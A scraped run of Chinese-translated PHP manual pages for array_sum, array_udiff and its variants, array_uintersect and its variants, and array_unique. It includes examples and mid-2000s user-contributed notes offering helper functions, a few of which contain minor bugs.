note that unset() works well for associative arrays, but if you have

$blah = array("a","b","c","d");

and you unset($blah[2]), then the other
elements will not shift, i.e., you'll still have $blah[0], $blah[1], and $blah[3].  If you need things to shift, use

array_splice($blah,2,1);
add a note add a note

后退 | 起点 | 前进
array_slice | 上一级 | array_sum


array_sum

(PHP 4 >= 4.0.4, PHP 5)

array_sum -- 计算数组中所有值的和

说明

number array_sum ( array array )

array_sum() 将数组中的所有值的和以整数或浮点数的结果返回。

例子 1. array_sum() 例子

<?php
$a = array(2, 4, 6, 8);
echo "sum(a) = " . array_sum($a) . "\n";

$b = array("a" => 1.2, "b" => 2.3, "c" => 3.4);
echo "sum(b) = " . array_sum($b) . "\n";
?>

上例将输出：

sum(a) = 20
sum(b) = 6.9

注: PHP 4.2.1 之前的版本修改了传入的数组本身，将其中的字符串值转换成数值（大多数情况下都转换成了零，根据具体值而定）。

add a note add a note User Contributed Notes
jodymickey at yahoo dot com
01-Jun-2006 11:23
In reference to KageKonjou's array_mode function...

If you only want to know the value in the array that occurs most (and not the number of times it actually occured), you can use this short function.  It also suffers from the same problem in that if there is more than one mode, it will return only one.
<?php
   function array_mode($array)
   {
       if(!is_array($array)) return false;
       asort(array_count_values($array));
       return array_pop($array);
   }
?>
Moslehi[atsign]Gmail[dot]com
18-Mar-2006 07:13
A simple example for numeric values :

<?PHP

function array_average($arr){
$sum = array_sum($arr);
$num = sizeof($arr);
echo $sum/$num;
}

$myarray = array(1,2,3,4);
array_average($myarray); // displays 2.5 as average of 1,2,3,4

?>

[Arash Moslehi]
darianlassan at yahoo dot de
04-Nov-2005 07:57
function array_avg(&$array)
{
  //**
   returns the average value of all array-values
   or false if no values in array (or not an array)
  **//

  if (!is_array($array) || count($array)==0)
   return false;
  else
   return array_sum($array)/count($array);
} // array_avg()

Please add this function to PHP.
mroach at mroach dot com
28-Sep-2005 04:06
I ran into a situation where I only wanted to sum elements of an array for certain keys. For that, I wrote this function

<?

function array_sum_by_key()
{
   $args = func_get_args();

   $arr = array_shift($args);

   $to_sum = is_array($args[0]) ? $args[0] : $args;

   $sum = 0;

   foreach ( $arr as $k=>$v ) {
       if ( in_array($k, $to_sum) ) {
           $sum += $v;
       }
   }

   return $sum;
}

$arr = array (
   'dog' => 1,
   'cat' => 2,
   'rat' => 4,
   'mat' => 8,
   'bat' => 16
);

echo array_sum_by_key($arr, 'dog', 'mat');

// Result: 9

?>

Alternatively, you can pass the keys to sum as an array

<?

$to_sum = array('dog', 'bat');

echo array_sum_by_key($arr, $to_sum);

// Result: 17

?>
KageKonjou at GMail dot com
13-Aug-2005 12:22
Not sure where else to put this, but I added something that determines the most commonly occuring item in an array.  Known Bugs: It will always return the first value if no mode are found, and the first mode found if more are found of same or lesser count.

<?php
function array_mode($array) {
 $count = array();
 foreach ($array as $item) {
  $count[$item]++;
 }
 $mostcommon = "";
 $iter = 0;
 foreach ($count as $k => $v) {
  if ($v > $iter) {
   $mostcommon = $k;
   $iter = $v;
  }
 }
 return array("mode" => $mostcommon, "count" => $count[$mostcommon]);
}
?>
punchto at hotmail dot com
16-Mar-2005 11:06
Microsoft Excel - SUMIF()

function sumif($array,$criteria,$sum_array){
  if(is_array($array) && is_array($sum_array) && trim($criteria)!= ""){
   $array_count = (count($array) < count($sum_array)) ? count($array):count($sum_array);
   for($i=0;$i<$array_count;$i++){
     if(ereg("^<",$criteria)){
       $value = ereg_replace("^<","",$criteria);
       $result += $array[$i] < $value ? $sum_array[$i]:0;
     }
     elseif(ereg("^>",$criteria)){
       $value = ereg_replace("^>","",$criteria);
       $result += $array[$i] > $value ? $sum_array[$i]:0;
     }
     else{
       $value = $criteria;
       $result += $array[$i] == $value ? $sum_array[$i]:0;
     }

   }
   return $result ? $result:0;
  }
}
adam at laural dot com dot au
02-Mar-2005 08:37
Here's a function to return the sum of a portion of an array:

function array_partial_sum($array, $start, $length){
   $new_array = array_slice($array, $start, $length);
   return array_sum($new_array);
}

$array = array(1, 2, 3, 4, 5);
print array_partial_sum($array, 0, 3);  // prints 6
ncheung at maine dot rr dot com
08-Feb-2005 10:02
For clarity, array indices containing boolean values such as TRUE and FALSE are added up as though they are 1 and 0 respectively.
info at sgonda dot de
08-Dec-2003 07:54
Don't use number_format() before array_sum()...it won't work correctly, if you have a summary...
mucello NOO SPAM @ weatherimages dOt org
23-Oct-2003 06:44
If you want to find the AVERAGE of the values in your array, use the sum and count functions together.  For example, let's say your array is $foo and you want the average...

<?php
$average_of_foo = array_sum($foo) / count($foo);
?>
mcrm at NOTNEEDIT dot freemal dot it
14-Aug-2003 12:40
Hi people, if someone is searching a function that works also with multimension array, i suggest this :

<?php
function cw_array_count($a) {
  if(!is_array($a)) return $a;
  foreach($a as $key=>$value)
     $totale += cw_array_count($value);
  return $totale;
}

$a[0][E][PS][P][a1]=1;
$a[0][E][PS][P][a2]=2;
$a[0][E][PJ][P][a2]=2;
$a[1][E][PS][E][a3]=3;

echo cw_array_count($a[0]);
// or
echo cw_array_count($a[0][E]);
?>

Bye, Bye.
R.Martina
drverieevil at REMOVEMEasenne dot org
30-Jul-2003 06:14
If some array elements arent integers, function will change them to integers (content of array will not change) type and then sum them.

Example:
<?php
$foo[] = "12";
$foo[] = 10;
$foo[] = "bar";
$foo[] = "summer";
echo array_sum ($foo); //same as echo "22";
?>
add a note add a note

后退 | 起点 | 前进
array_splice | 上一级 | array_udiff_assoc


array_udiff_assoc

(PHP 5)

array_udiff_assoc -- 带索引检查计算数组的差集，用回调函数比较数据

说明

array array_udiff_assoc ( array array1, array array2 [, array ..., callback data_compare_func] )

array_udiff_assoc() 返回一个数组，该数组包括了所有在 array1 中但是不在任何其它参数数组中的值。注意和 array_diff() 与 array_udiff() 不同的是键名也用于比较。数组数据的比较是用用户提供的回调函数进行的。在此方面和 array_diff_assoc() 的行为正好相反，后者是用内部函数进行比较的。

例子 1. array_udiff_assoc() 例子

<?php
class cr {
    private $priv_member;
    function cr($val)
    {
        $this->priv_member = $val;
    }

    function comp_func_cr($a, $b)
    {
        if ($a->priv_member === $b->priv_member) return 0;
        return ($a->priv_member > $b->priv_member)? 1:-1;
    }
}

$a = array("0.1" => new cr(9), "0.5" => new cr(12), 0 => new cr(23), 1=> new cr(4), 2 => new cr(-15),);
$b = array("0.2" => new cr(9), "0.5" => new cr(22), 0 => new cr(3), 1=> new cr(4), 2 => new cr(-15),);

$result = array_udiff_assoc($a, $b, array("cr", "comp_func_cr"));
print_r($result);
?>

上例将输出：

Array
(
    [0.1] => cr Object
        (
            [priv_member:private] => 9
        )

    [0.5] => cr Object
        (
            [priv_member:private] => 12
        )

    [0] => cr Object
        (
            [priv_member:private] => 23
        )
)

上例中可以看到键值对 "1" => new cr(4) 同时出现在两个数组中因此不在本函数的输出中。

此比较是通过用户提供的回调函数来进行的。如果认为第一个参数小于，等于，或大于第二个参数时必须分别返回一个小于零，等于零，或大于零的整数。

注: 注意本函数只检查了多维数组中的一维。当然，可以用 array_udiff_assoc($array1[0], $array2[0], "some_comparison_func"); 来检查更深的维度。

参见 array_diff()，array_diff_assoc()，array_diff_uassoc()，array_udiff()，array_udiff_uassoc()，array_intersect()，array_intersect_assoc()，array_uintersect()，array_uintersect_assoc() 和 array_uintersect_uassoc()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
array_sum | 上一级 | array_udiff_uassoc


array_udiff_uassoc

(PHP 5)

array_udiff_uassoc -- 带索引检查计算数组的差集，用回调函数比较数据和索引

说明

array array_udiff_uassoc ( array array1, array array2 [, array ..., callback data_compare_func, callback key_compare_func] )

array_udiff_uassoc() 返回一个数组，该数组包括了所有在 array1 中但是不在任何其它参数数组中的值。注意和 array_diff() 与 array_udiff() 不同的是键名也用于比较。数组数据的比较是用用户提供的回调函数 data_compare_func 进行的。在此方面和 array_diff_assoc() 的行为正好相反，后者是用内部函数进行比较的。对键名（索引）的检查也是由回调函数 key_compare_func 进行的。这和 array_udiff_assoc() 的行为不同，后者是用内部函数比较索引的。

例子 1. array_udiff_uassoc() 例子

<?php
class cr {
    private $priv_member;
    function cr($val)
    {
        $this->priv_member = $val;
    }

    function comp_func_cr($a, $b)
    {
        if ($a->priv_member === $b->priv_member) return 0;
        return ($a->priv_member > $b->priv_member)? 1:-1;
    }

    function comp_func_key($a, $b)
    {
        if ($a === $b) return 0;
        return ($a > $b)? 1:-1;
    }
}
$a = array("0.1" => new cr(9), "0.5" => new cr(12), 0 => new cr(23), 1=> new cr(4), 2 => new cr(-15),);
$b = array("0.2" => new cr(9), "0.5" => new cr(22), 0 => new cr(3), 1=> new cr(4), 2 => new cr(-15),);

$result = array_udiff_uassoc($a, $b, array("cr", "comp_func_cr"), array("cr", "comp_func_key"));
print_r($result);
?>

上例将输出：

Array
(
    [0.1] => cr Object
        (
            [priv_member:private] => 9
        )

    [0.5] => cr Object
        (
            [priv_member:private] => 12
        )

    [0] => cr Object
        (
            [priv_member:private] => 23
        )
)

在上例中键值对 "1" => new cr(4) 同时出现在两个数组中，因此不在本函数的输出中。要记住必须提供两个回调函数。

此比较是通过用户提供的回调函数来进行的。如果认为第一个参数小于，等于，或大于第二个参数时必须分别返回一个小于零，等于零，或大于零的整数。

注: 注意本函数只检查了多维数组中的一维。当然，可以用 array_udiff_uassoc($array1[0], $array2[0], "data_compare_func", "key_compare_func"); 来检查更深的维度。

参见 array_diff()，array_diff_assoc()，array_diff_uassoc()，array_udiff()，array_udiff_assoc()，array_intersect()，array_intersect_assoc()，array_uintersect()，array_uintersect_assoc() 和 array_uintersect_uassoc()。

add a note add a note User Contributed Notes
aidan at php dot net
29-May-2004 01:06
This functionality is now implemented in the PEAR package PHP_Compat.

More information about using this function without upgrading your version of PHP can be found on the below link:

http://pear.php.net/package/PHP_Compat
add a note add a note

后退 | 起点 | 前进
array_udiff_assoc | 上一级 | array_udiff


array_udiff

(PHP 5)

array_udiff -- 用回调函数比较数据来计算数组的差集

说明

array array_udiff ( array array1, array array2 [, array ..., callback data_compare_func] )

array_udiff() 返回一个数组，该数组包括了所有在 array1 中但是不在任何其它参数数组中的值。注意键名保持不变。数据的比较是用 data_compare_func 进行的。如果认为第一个参数小于，等于，或大于第二个参数时必须分别返回一个小于零，等于零，或大于零的整数。这和 array_diff() 不同，后者使用了内部函数来比较数据。

例子 1. array_udiff() 例子

<?php
class cr {
    private $priv_member;
    function cr($val)
    {
        $this->priv_member = $val;
    }

    function comp_func_cr($a, $b)
    {
        if ($a->priv_member === $b->priv_member) return 0;
        return ($a->priv_member > $b->priv_member)? 1:-1;
    }
}
$a = array("0.1" => new cr(9), "0.5" => new cr(12), 0 => new cr(23), 1=> new cr(4), 2 => new cr(-15),);
$b = array("0.2" => new cr(9), "0.5" => new cr(22), 0 => new cr(3), 1=> new cr(4), 2 => new cr(-15),);

$result = array_udiff($a, $b, array("cr", "comp_func_cr"));
print_r($result);
?>

上例将输出：

Array
(
    [0.5] => cr Object
        (
            [priv_member:private] => 12
        )

    [0] => cr Object
        (
            [priv_member:private] => 23
        )

)

注: 注意本函数只检查了多维数组中的一维。当然，可以用 array_udiff($array1[0], $array2[0], "data_compare_func"); 来检查更深的维度。

参见 array_diff()，array_diff_assoc()，array_diff_uassoc()，array_udiff_assoc()，array_udiff_uassoc()，array_intersect()，array_intersect_assoc()，array_uintersect()，array_uintersect_assoc() 和 array_uintersect_uassoc()。

add a note add a note User Contributed Notes
dmhouse at gmail dot com
21-Jan-2005 05:44
Very easy way of achieving a case-insensitive version of array_diff (or indeed array_diff_assoc, array_intersect or any of these types of functions which have a similar function that takes a callback function as one of their parameters):

array_udiff($array1, $array2, 'strcasecmp');

This works because strcasecmp() compares two strings case-insensitively, as compared to the array_diff() which compares two strings by using the == operator, which is case-sensitive.
aidan at php dot net
28-May-2004 10:11
This functionality is now implemented in the PEAR package PHP_Compat.

More information about using this function without upgrading your version of PHP can be found on the below link:

http://pear.php.net/package/PHP_Compat
add a note add a note

后退 | 起点 | 前进
array_udiff_uassoc | 上一级 | array_uintersect_assoc


array_uintersect_assoc

(PHP 5)

array_uintersect_assoc -- 带索引检查计算数组的交集，用回调函数比较数据

说明

array array_uintersect_assoc ( array array1, array array2 [, array ..., callback data_compare_func] )

array_uintersect_assoc() 返回一个数组，该数组包含了所有在 array1 中也同时出现在所有其它参数数组中的值。注意和 array_uintersect() 不同的是键名也要比较。数据是用回调函数比较的。

例子 1. array_uintersect_assoc() 例子

<?php
$array1 = array("a" => "green", "b" => "brown", "c" => "blue", "red");
$array2 = array("a" => "GREEN", "B" => "brown", "yellow", "red");

print_r(array_uintersect_assoc($array1, $array2, "strcasecmp"));
?>

上例将输出：

Array
(
    [a] => green
)

此比较是通过用户提供的回调函数来进行的。如果认为第一个参数小于，等于，或大于第二个参数时必须分别返回一个小于零，等于零，或大于零的整数。

参见 array_uintersect()，array_intersect_assoc()，array_intersect_uassoc() 和 array_uintersect_uassoc()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
array_udiff | 上一级 | array_uintersect_uassoc


array_uintersect_uassoc

(PHP 5)

array_uintersect_uassoc -- 带索引检查计算数组的交集，用回调函数比较数据和索引

说明

array array_uintersect_uassoc ( array array1, array array2 [, array ..., callback data_compare_func, callback key_compare_func] )

array_uintersect_uassoc() 返回一个数组，该数组包含了所有在 array1 中也同时出现在所有其它参数数组中的值。注意和 array_uintersect() 不同的是键名也要比较。数据和索引都是用回调函数比较的。

例子 1. array_uintersect_uassoc() 例子

<?php
$array1 = array("a" => "green", "b" => "brown", "c" => "blue", "red");
$array2 = array("a" => "GREEN", "B" => "brown", "yellow", "red");

print_r(array_uintersect_uassoc($array1, $array2, "strcasecmp", "strcasecmp"));
?>

上例将输出：

Array
(
    [a] => green
    [b] => brown
)

此比较是通过用户提供的回调函数来进行的。如果认为第一个参数小于，等于，或大于第二个参数时必须分别返回一个小于零，等于零，或大于零的整数。

参见 array_uintersect()，array_intersect_assoc()，array_intersect_uassoc() 和 array_uintersect_assoc()。

add a note add a note User Contributed Notes
aidan at php dot net
31-Aug-2004 06:52
Please note, the correct function synopsis is:

array array_uintersect_uassoc ( array array1, array array2 [, array ...], callback data_compare_func, callback key_compare_func)

You may specifiy as many arrays as you like, but the last two parameters must be valid call back functions.
add a note add a note

后退 | 起点 | 前进
array_uintersect_assoc | 上一级 | array_uintersect


array_uintersect

(PHP 5)

array_uintersect -- 计算数组的交集，用回调函数比较数据

说明

array array_uintersect ( array array1, array array2 [, array ..., callback data_compare_func] )

array_uintersect() 返回一个数组，该数组包含了所有在 array1 中也同时出现在所有其它参数数组中的值。数据比较是用回调函数进行的。

例子 1. array_uintersect() 例子

<?php
$array1 = array("a" => "green", "b" => "brown", "c" => "blue", "red");
$array2 = array("a" => "GREEN", "B" => "brown", "yellow", "red");

print_r(array_uintersect($array1, $array2, "strcasecmp"));
?>

上例将输出：

Array
(
    [a] => green
    [b] => brown
    [0] => red
)

此比较是通过用户提供的回调函数来进行的。如果认为第一个参数小于，等于，或大于第二个参数时必须分别返回一个小于零，等于零，或大于零的整数。

参见 array_intersect()，array_uintersect_assoc()，array_intersect_uassoc() 和 array_uintersect_uassoc()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
array_uintersect_uassoc | 上一级 | array_unique


array_unique

(PHP 4 >= 4.0.1, PHP 5)

array_unique -- 移除数组中重复的值

说明

array array_unique ( array array )

array_unique() 接受 array 作为输入并返回没有重复值的新数组。

注意键名保留不变。array_unique() 先将值作为字符串排序，然后对每个值只保留第一个遇到的键名，接着忽略所有后面的键名。这并不意味着在未排序的 array 中同一个值的第一个出现的键名会被保留。

注: 当且仅当 (string) $elem1 === (string) $elem2 时两个单元被认为相同。就是说，当字符串的表达一样时。

第一个单元将被保留。

例子 1. array_unique() 例子

<?php
$input = array("a" => "green", "red", "b" => "green", "blue", "red");
$result = array_unique($input);
print_r($result);
?>

上例将输出：

Array
(
    [a] => green
    [0] => red
    [1] => blue
)

例子 2. array_unique() 和类型

<?php
$input = array(4, "4", "3", 4, 3, "3");
$result = array_unique($input);
var_dump($result);
?>

上例将输出：

array(2) {
  [0] => int(4)
  [2] => string(1) "3"
}

add a note add a note User Contributed Notes
davin at baragiotta dot org
20-Apr-2006 06:52
I used the code submitted by "agarcia" regarding multi-dimensional arrays but keys with no data were still there. I've just added a line to completely unset the redondant part of the array so it is now acting like array_unique.

<?php
function remove_dup($matriz) {
   $aux_ini=array();
   $entrega=array();
   for($n=0;$n<count($matriz);$n++) {
     $aux_ini[]=serialize($matriz[$n]);
   }
   $mat=array_unique($aux_ini);
   for($n=0;$n<count($matriz);$n++) {
     $entrega[]=unserialize($mat[$n]);
   }
   foreach ($entrega as $key => $row){
     if (!is_array($row)) { unset($entrega[$key]); }
   }
   return $entrega;
}
?>

Thanks!

Davin Baragiotta
MoD
15-Apr-2006 12:02
The shortest way i found to remove duplicate array from a column,
For example if you parse Multiple XML sources, you can remove duplicate items that contain the same link.

<?PHP
function        remove_duplicate($array, $field)
{
  foreach ($array as $sub)
   $cmp[] = $sub[$field];
  $unique = array_unique($cmp);
  foreach ($unique as $k => $rien)
   $new[] = $array[$k];
  return $new;
}
?>
agarcia at rsn dot com dot co
01-Apr-2006 04:41
This is a script for multi_dimensional arrays
function remove_dup($matriz) {
   $aux_ini=array();
   $entrega=array();
   for($n=0;$n<count($matriz);$n++)
   {
       $aux_ini[]=serialize($matriz[$n]);
   }
   $mat=array_unique($aux_ini);
   for($n=0;$n<count($matriz);$n++)
   {

           $entrega[]=unserialize($mat[$n]);

   }
   return $entrega;
}
brettz9
09-Mar-2006 04:51
If you have a multi-dimensional array and wish to remove duplicates from a particular "column" as well as the corresponding values in the other "columns", you might find the following helpful.

<?php
function remove_dups($array, $index) {
   $array_count = count($array);
   $array_count_inner = count($array[$index]);
   for ($i=0; $i<$array_count_inner; $i++) {
       for ($j=$i+1; $j<$array_count_inner; $j++) {
           if ($array[$index][$i]==$array[$index][$j]) {
               for ($k=0; $k<$array_count; $k++) {
                   unset($array[$k][$i]);
               } // end for
           } // end if
       } // end for
   } // end for
   return $array;
} // end function remove_dups
?>
mcmeijer at yahoo dot com
27-Jan-2006 09:18
This is a recursive arrayUnique function for arrays of any dimension. (tested with 4-dimensional array)
The line '$newArray=deleteEmpty($newArray);' is optional and removes empty keys and values
<?php
function arrayUnique($myArray)
   {
   $newArray = Array();
   if (is_array($myArray))
       {
       foreach($myArray as $key=>$val)
           {
           if (is_array($val))
               {
               $val2 = arrayUnique($val);
               }
           else
               {
               $val2 = $val;
               $newArray=array_unique($myArray);
               $newArray=deleteEmpty($newArray);
               break;
               }
           if (!empty($val2))
               {
               $newArray[$key] = $val2;
               }
           }
       }
   return ($newArray);
   }

function deleteEmpty($myArray)
   {
   $retArray= Array();
   foreach($myArray as $key=>$val)
       {
       if (($key<>"") && ($val<>""))
           {
           $retArray[$key] = $val;
           }
       }
   return $retArray;
   }
?>
idefix at idefix dot ath dot cx
05-Jan-2006 06:49
in reply to memandeemail at gmail dot com:

imo it would be easier to do these things in your SQL statement.

ex.:
SELECT na1.FirstName, na1.LastName
FROM names na1, names na2
WHERE na1.FirstName = na2.FirstName
AND na1.LastName = na2.LastName
AND na1.id < na2.id;
memandeemail at gmail dot com
04-Jan-2006 02:47
Problem:
I have loaded an array with the results of a database
query.  The Fields are 'FirstName' and 'LastName'.

I would like to find a way to contactenate the two
fields, and then return only unique values for the
array.  For example, if the database query returns
three instances of a record with the FirstName John
and the LastName Smith in two distinct fields, I would
like to build a new array that would contain all the
original fields, but with John Smith in it only once.
Thanks for: Colin Campbell

Solution:

/**
 * The same thing than implode function, but return the keys so
 *
 * <code>
 * $_GET = array('id' => '4587','with' => 'key');
 * ...
 * echo shared::implode_with_key('&',$_GET,'='); // Resultado: id=4587&with=key
 * ...
 * </code>
 *
 * @param string $glue Oque colocar entre as chave => valor
 * @param array $pieces Valores
 * @param string $hifen Separar chave da array do valor
 * @return string
 * @author memandeemail at gmail dot com
 */
function implode_with_key($glue = null, $pieces, $hifen = ',') {
  $return = null;
  foreach ($pieces as $tk => $tv) $return .= $glue.$tk.$hifen.$tv;
  return substr($return,1);
}

/**
 * Return unique values from a tree of values
 *
 * @param array $array_tree
 * @return array
 * @author memandeemail at gmail dot com
 */
function array_unique_tree($array_tree) {
  $will_return = array(); $vtemp = array();
  foreach ($array_tree as $tkey => $tvalue) $vtemp[$tkey] = implode_with_key('&',$tvalue,'=');
  foreach (array_keys(array_unique($vtemp)) as $tvalue) $will_return[$tvalue] = $array_tree[$tvalue];
  return $will_return;
}

$problem = array_fill(0,3,
array('FirstName' => 'John', 'LastName' => 'Smith')
);

$problem[] = array('FirstName' => 'Davi', 'LastName' => 'S. Mesquita');
$problem[] = array('FirstName' => 'John', 'LastName' => 'Tom');

print_r($problem);

print_r(array_unique_tree($problem));
webcreator at centrum dot cz
28-Oct-2005 07:25
array_unique function starts its comparation from beginning and pop the key off if there is more values inside array. The last one remains. But i needed to hold priority of the order of values and let the first one in.

Here is my easy solution:
##---

function my_array_unique($from)
{
for ($i=count($from);$i>1;$i--)
   {
   $last = $from[$i];
   $from[$i] = "";
   if (!in_array($last,$from))
       $from[$i]=$last;
   }
return array_unique($from);
}

# One empty value remains in array.
# But its very easy to separate it while using output array.
kenrbnsn at rbnsn dot com
27-Sep-2005 12:09
Yet another Array_Unique for multi-demensioned arrays. I've only tested this on two-demensioned arrays, but it could probably be generalized for more, or made to use recursion.

This function uses the serialize, array_unique, and unserialize functions to do the work.

<?php
function multi_unique($array) {
   foreach ($array as $k=>$na)
       $new[$k] = serialize($na);
   $uniq = array_unique($new);
   foreach($uniq as $k=>$ser)
       $new1[$k] = unserialize($ser);
   return ($new1);
}
?>
passtschu AT freenet DOT de
21-Sep-2005 10:20
array_unique for multidimensional arrays. similar to the DISTINCT in SQL function.
the function can group, sum and count keys

<?PHP
/*
$array - nothing to say
$group_keys - columns which have to be grouped - can be STRING or ARRAY (STRING, STRING[, ...])
$sum_keys - columns which have to be summed - can be STRING or ARRAY (STRING, STRING[, ...])
$count_key - must be STRING - count the grouped keys
*/
function array_distinct ($array, $group_keys, $sum_keys = NULL, $count_key = NULL){
  if (!is_array ($group_keys)) $group_keys = array ($group_keys);
  if (!is_array ($sum_keys)) $sum_keys = array ($sum_keys);

  $existing_sub_keys = array ();
  $output = array ();

  foreach ($array as $key => $sub_array){
   $puffer = NULL;
   #group keys
   foreach ($group_keys as $group_key){
     $puffer .= $sub_array[$group_key];
   }
   $puffer = serialize ($puffer);
   if (!in_array ($puffer, $existing_sub_keys)){
     $existing_sub_keys[$key] = $puffer;
     $output[$key] = $sub_array;
   }
   else{
     $puffer = array_search ($puffer, $existing_sub_keys);
     #sum keys
     foreach ($sum_keys as $sum_key){
       if (is_string ($sum_key)) $output[$puffer][$sum_key] += $sub_array[$sum_key];
     }
     #count grouped keys
     if (!array_key_exists ($count_key, $output[$puffer])) $output[$puffer][$count_key] = 1;
     if (is_string ($count_key)) $output[$puffer][$count_key]++;
   }
  }
  return $output;
}
?>
muddmonkey@harveyMcoldotedu
18-Aug-2005 04:44
If you're doing numeric arrays etc. I found flip-flip to work much better than array_unique:

<?PHP
   function microtime_float(){ //timing
       list($usec, $sec) = explode(" ", microtime());
       return ((float)$usec + (float)$sec);
   }

   //make an arry and fill it up
   $final=array();
   for($i=0;$i<50000;$i++){
       $final[]=$i%13; //make sure there are some dupes
   }
   //try array unique
   $start1 = microtime_float();
   array_unique($final);
   $stop1=microtime_float();
   echo($stop1-$start1.'<br>');
   //try my flip-flip
   $start2=microtime_float();
   array_flip(array_flip($final));
   $stop2=microtime_float();
   echo($stop2-$start2);
?>

Running this with only ints in the array (as above) I get runtimes such as:
1.6195669174194 (using unique)
0.017037868499756 (using flip flip)
which is two orders of magnitude faster!

Appending a string:
($final[]='test'.$i%13;)
gives:
0.42909598350525 (using unique)
0.023258924484253 (using flip-flip)
Which is not AS great, but still 20x faster than unique.

In both cases the flip-flip seems to use less memory than the unique.

Granted the flip-flip doesn't work for all cases, but if you're doing simple stuff like this, the flip-flip will give you better run times.

~JF
Christoph Ziegenberg
18-Jun-2005 02:44
If the array key is a string it might be important to keep it although the value is the same (as I need it at the moment). So I wrote a function which also returns array elements which have the same value but different string keys.

function array_unique_numeric ($arr)
{
   $str = $int = array();
   foreach(array_keys($arr) as $key) {
       ${(is_int($key)?'int':'str')}[$key] = $arr[$key];
   }
   return array_merge($str, array_unique($int));
}

// typical array after an array_merge()...
$array = array("a" => "green", "b" => "brown", "c" => "blue", "red", "d" => "green", "yellow", "red");

print_r(array_unique($array));
// Array
// (
//    [a] => green
//    [b] => brown
//    [c] => blue
//    [0] => red
//    [1] => yellow
// )

print_r(array_unique_numeric($array));
// Array
// (
//    [a] => green
//    [b] => brown
//    [c] => blue
//    [d] => green
//    [0] => red
//    [1] => yellow
// )
cdblog at gmail dot com
20-May-2005 03:59
<?php
/**
* @param string
* @return array
* @author Cocol
* @desc generate unique keywords
* for more detail please visit http://php.clickz.cn/articles/array/array_unique.html
*/
function keyword_unique($url = "") {
   $unique =  array(
       'words' => array(),
       'times' => array(),
   );

   $buffer = @file_get_contents($url);
   $words1 = str_word_count(strtolower(strip_tags($buffer)),1);
   $unique['words'] = array_unique($words1);
   foreach ($words1 as $key=>$val) {
       if (!in_array($val,$unique['words'])) {
           $unique['times'][] = 1;
       } else {
           $i = array_search($val,$unique['words']);
           $unique['times'][$i] += 1;
       }
   }
   array_multisort($unique['times'],SORT_DESC,$unique['words']);
   return $unique;
}

$keywords = keyword_unique("http://php.clickz.cn/");
print_r($keywords);

?>
memandeemail at gmail dot com
16-Apr-2005 04:46
/**
 * Removes duplicate keys from an array
 *
 * @param array $array
 * @return array
 */
function array_unique_key($array) {
   $result = array();
   foreach (array_unique(array_keys($array)) as $tvalue) {
       $result[$tvalue] = $array[$tvalue];
   }
   return $result;
}
Ric
06-Apr-2005 12:44
A very simple way of getting rid of duplicate entries and re-indexing with key starting at 0:

   $temp=array_unique($main);
   $main=array_values($temp);
trigger at e-mail dot ru
03-Feb-2005 06:53
Just a simple implementation for JavaScript:
function array_unique(thearray)
{
   thearray.sort();
   //reset($thearray);
   newarray = new Array();
   for (n=0;n<thearray.length;n++)
   {
       unique=1;//by default
       for(nn=0;nn<newarray.length;nn++)
           if (thearray[n] == newarray[nn])
           {
               unique=0;//already exists
               break;
           }
       if(unique)//dont exists
           newarray.push(thearray[n]);
   }
   return newarray;
 }
lucas.bickel AT purplehaze DOT ch
26-Oct-2004 11:39
I quite like the following code for making multidimensional arrays unique:

foreach ($arrAddressList AS $key => $arrAddress) {
   $arrAddressList[$key] = serialize($arrAddress);
}
$arrAddressList = array_unique($arrAdressList);
foreach ($arrAddressList AS $key => $strAddress) {
   $arrAddressList[$key] = unserialize($strAddress);
}

This gets me a unique array while not minding wether the the original array contains arrays or just strings (or whatever...).
Vary
07-Oct-2004 04:24
This script will unique the array and count the times appearance.

find more information at http://php.scmtv.com/
justin at redwiredesign dot com
14-Sep-2004 09:23
OK, so here's my version that maintains index integrity:

function array_unique($array)
{
   $out = array();

   //    loop through the inbound
   foreach ($array as $key=>$value) {
       //    if the item isn't in the array
       if (!in_array($value, $out)) {
           //    add it to the array
           $out[$key] = $value;
       }
   }

   return $out;
}
wernerlistas at terra dot com dot br
16-Jun-2004 11:50
Following the code copies of a little function I've wrote that actually works with multidimensional arrays.
It also resets the array indexes.

<?php
if ( !function_exists( "arrayUnique" ) ){
   function arrayUnique ( $rArray ){
       $rReturn = array ();
       while ( list( $key, $val ) = each ( $rArray ) ){
           if ( !in_array( $val, $rReturn ) )
           array_push( $rReturn, $val );
       }
       return $rReturn;
   }
}
?>
csaba at alum dot mit dot edu
10-Jun-2004 10:17
The following is an efficient, adaptable implementation of array_unique which always retains the first key having a given value:

<?php
function array_unique2(&$aray) {
   $aHash = array();
   foreach ($aray as $key => &$val) if (@$aHash[$val]++) unset ($aray[$key]);
}
?>

It is also adaptable to multi dimensional arrays.  For example, if your array is a sequence of (multidimensional) points, then in place of @$aHash[$val]++ you could use @$aHash[implode("X",$val)]++
If you want to not have holes in your array, you can do an array_merge($aray) at the end.

Csaba Gabor
patrikG at home dot net
11-Mar-2004 11:05
If you need to have the keys of the duplicates in an array returned, you may find this function useful:

<?php
function unique_events($array){
   //checks $array for duplicate values and returns an
       //array containing the keys of duplicates
   $count= array_intersect_assoc($array, array_flip( array_count_values($array)));
   foreach($array as $key=>$value){
       if (in_array($value,$count)){
           $return[$value][]=$key;
       }
   }
   return $return;
}
?>

Example:

Input:
Array
(
   [0] => 44
   [1] => 23
   [2] => 23
   [3] => 23
   [4] => 9
   [5] => 9
   [6] => 9
   [7] => 9
   [8] => 9
   [9] => 9
   [10] => 9
   [11] => 9
)

Function returns:
Array
(
   [23] => Array
       (
           [0] => 1
           [1] => 2
           [2] => 3
       )

   [9] => Array
       (
           [0] => 4
           [1] => 5
           [2] => 6
           [3] => 7
           [4] => 8
           [5] => 9
           [6] => 10
           [7] => 11
       )

)
bitmore.co.kr
20-Feb-2004 07:53
//Modify
Object Unique

<?php
   class foo {
       var $_name;
       var $_age;
       function foo($name,$age=NULL)    { $this->_name = $name; $this->_age = $age; }
       //function get()        { return $this->_name; }
       //function set($name,$age=NULL)    { $this->_name = $name; $this->_age = $age; }
   }

   function DistinctOn ($obj, $item) {
       $out = array();
       $list = array();
       foreach ($obj as $key=>$so) {
           if (!in_array($so->$item, $list)) {
               echo "key = $key,so = $so,item = $item,IFlist = ";print_r($list);echo "<br>";
               $list[] = $so->$item;//
               $out[$key] = $so;
           }
           echo "Forlist = ";print_r($list);echo "<br>";
       }
       return $out;
   }

